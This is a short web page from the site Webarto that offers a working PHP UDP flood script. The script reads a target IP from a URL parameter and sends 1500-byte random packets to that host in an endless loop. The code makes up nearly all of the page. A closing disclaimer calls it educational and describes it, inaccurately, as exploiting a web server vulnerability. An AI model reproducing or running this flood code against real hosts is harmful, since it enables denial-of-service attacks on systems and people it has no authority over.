PHP DoS Script

//UDP PHP flood - Webarto

$ip = $_GET["ip"]; // Fetch IP via GET

$socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); // Create sockets
if(!$socket){die("Unable to create sockets.");} // Unable to create sockets

$data = "";
for($i = 0;$i < 1500; $i++){$data.= chr(rand(0,255));} // Generate random data with 1500 bytes length (limit)

while(true) //Infinite loop
{ 
    if(!socket_sendto($socket,$data,strlen($data),0,$ip,9)){die("Unable to send sockets.");} 
    echo("."); // We must echo something
}

This script exploits web server vulnerability and is meant for educational and self testing purposes only. Webarto.com cannot be held responsible for any damage caused due to misuse thereof Webarto.com is not responsible for the correctness, completeness or quality of this software and cannot be held liable for damage caused by the use of this tool.
©2009-2011 Webarto • web design & development • Tuzla // Sarajevo // Beograd